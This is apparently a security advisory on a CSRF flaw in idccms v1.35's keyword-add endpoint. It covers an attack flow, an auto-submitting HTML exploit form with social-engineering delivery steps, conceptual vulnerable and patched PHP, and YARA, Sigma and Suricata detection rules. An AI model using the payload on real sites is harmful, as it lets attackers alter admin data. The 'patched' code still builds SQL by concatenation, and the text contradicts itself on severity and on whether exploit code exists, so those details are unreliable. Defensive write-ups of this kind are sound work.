CVE-2024-39156

Executive Summary

CVE-2024-39156 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35, specifically within the /admin/keyWord_deal.php?mudi=add component. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as adding malicious keywords or modifying site content, by crafting a malicious link or page. The vulnerability has a CVSS score of 0.0 (pending official scoring), but based on the vector, it is considered a low-severity issue due to the requirement for user interaction and the limited impact on integrity. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (idccms) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker's scope are the same.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): Low (L) – The attacker can modify data (e.g., add keywords) but not all data.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While the impact is limited to integrity, the attack is easy to execute and requires minimal user interaction.

Deep Dive & Mechanics

The vulnerability resides in the admin/keyWord_deal.php script, specifically in the add action (triggered by mudi=add). The script does not implement any anti-CSRF tokens, origin headers, or referrer checks. This allows an attacker to craft a request that, when executed by an authenticated admin, will add a new keyword to the system.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing an auto-submitting form or an image tag pointing to:

   http://target.com/admin/keyWord_deal.php?mudi=add&keyword=malicious_keyword
   

2. The attacker lures an authenticated admin to visit this page.
3. The admin's browser automatically sends the request, including their session cookies.
4. The server processes the request, adding the keyword without verifying the origin.

Root Cause: Lack of CSRF protection mechanisms (tokens, SameSite cookies, or origin validation).

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual comparison.

Vulnerable Code (idccms v1.35 - admin/keyWord_deal.php):

<?php
// No CSRF token check
if ($_GET['mudi'] == 'add') {
    $keyword = $_GET['keyword'];
    // Insert into database without validation
    $sql = "INSERT INTO keywords (keyword) VALUES ('$keyword')";
    mysqli_query($conn, $sql);
}
?>

Patched Code (Conceptual):

<?php
session_start();
// Validate CSRF token
if ($_GET['mudi'] == 'add') {
    if (!isset($_GET['csrf_token']) || $_GET['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    $keyword = mysqli_real_escape_string($conn, $_GET['keyword']);
    $sql = "INSERT INTO keywords (keyword) VALUES ('$keyword')";
    mysqli_query($conn, $sql);
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install idccms v1.35 on a local server (e.g., XAMPP, LAMP).
2. Create an admin account and log in.
3. Host a malicious HTML page on another server or locally.

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target.com/admin/keyWord_deal.php?mudi=add" method="GET">
    <input type="hidden" name="keyword" value="evil_keyword">
    <input type="submit" value="Click here">
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

Execution:

1. Send the HTML file to the victim (e.g., via email or social engineering).
2. When the victim (authenticated admin) opens the file, the form auto-submits.
3. The keyword "evil_keyword" is added to the system.

Blue Team (Defensive)

Detection:

• Monitor for unusual keyword additions in the admin panel.
• Check server logs for requests to /admin/keyWord_deal.php?mudi=add with unexpected parameters.
• Implement CSRF tokens and validate them on all state-changing requests.

Mitigation:

• Add CSRF tokens to all forms and validate them server-side.
• Use SameSite cookies (set to Lax or Strict).
• Validate the Origin or Referer header on sensitive actions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/keyWord_deal.php?mudi=add with unexpected keyword parameters.
  • Referer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Unusual entries in the keywords database table.
• Log IOCs:
  • Server access logs showing multiple GET requests to the vulnerable endpoint from different IPs.

Detection Engineering

YARA Rule

rule Detect_idccms_CSRF_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-39156 in idccms"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-39156"
    strings:
        $s1 = "keyWord_deal.php?mudi=add" ascii wide nocase
        $s2 = "keyword=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: idccms CSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable CSRF endpoint in idccms
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39156
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/admin/keyWord_deal.php?mudi=add'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF protection is absent)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39156 - idccms CSRF Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/keyWord_deal.php?mudi=add"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:
   • Disable the vulnerable component (keyWord_deal.php) if not needed.
   • Restrict access to the admin panel via IP whitelisting or VPN.
2. Long-term Fix:
   • Implement CSRF tokens in all admin forms.
   • Use SameSite cookies (set to Lax or Strict).
   • Validate the Origin or Referer header on state-changing requests.
3. Monitoring:
   • Enable logging for all admin actions.
   • Set up alerts for unusual keyword additions.
4. Patch Status:
   • No official patch is available. Consider migrating to a supported CMS or applying the conceptual patch above.

Valters IT
Securing Your Digital Frontier